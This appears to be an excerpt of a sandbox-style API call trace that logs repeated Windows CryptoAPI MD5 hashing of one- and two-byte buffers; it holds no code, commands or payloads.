	[0050.308] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.308] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.308] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.308] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.308] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.308] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.308] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.308] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.308] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.308] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.308] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.309] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.309] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.309] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.309] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.309] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.309] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.309] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.309] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.309] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.309] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.311] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.311] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.311] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.312] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.312] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.312] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.312] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.312] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.312] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.312] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.312] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.312] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.312] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.312] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.312] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.312] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.312] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.313] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.313] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.313] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.313] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.313] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.313] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.313] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.313] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.313] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.313] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.313] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.313] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.313] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.313] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.314] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.314] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.314] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.314] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.314] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.314] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.314] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.314] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.314] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0050.314] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.314] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.314] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.314] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.314] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.315] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.315] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.315] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.315] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.315] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.315] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.315] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.315] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.315] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.315] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.315] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.315] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.315] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.315] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.316] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.316] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.316] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.316] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.316] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.316] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.316] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.316] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.316] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.316] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.316] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.316] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.316] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.316] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.317] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.317] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.317] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.317] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.317] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.317] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.317] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.317] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.317] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.317] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.317] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.317] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.317] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.317] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.317] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.318] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.318] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.318] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.318] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.318] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.318] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.318] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.318] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.318] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.318] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.318] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.318] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.318] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.318] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.319] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.319] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.319] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.319] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.319] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.319] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.319] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.319] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.319] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.319] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.319] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.319] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.319] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.320] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.320] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.320] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.320] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.320] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.320] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.320] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.320] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.320] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.320] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.320] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.320] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.320] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.321] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.321] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.321] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.321] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.321] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.321] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.321] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.321] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.321] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.321] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.321] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.321] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.321] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.321] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.321] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.322] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.322] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.322] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.322] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.322] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.322] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.322] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.322] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.322] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.322] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.322] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.322] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.322] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.323] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.323] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.323] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.323] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.323] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.323] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.323] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.323] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.323] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.323] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.323] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.323] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.323] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.324] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.324] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.324] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.324] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.324] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.324] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.324] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.324] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.324] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.324] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.324] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.324] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.324] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.324] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.325] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.325] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.325] CryptDestroyHash (hHash=0x25d8d0) returned 1
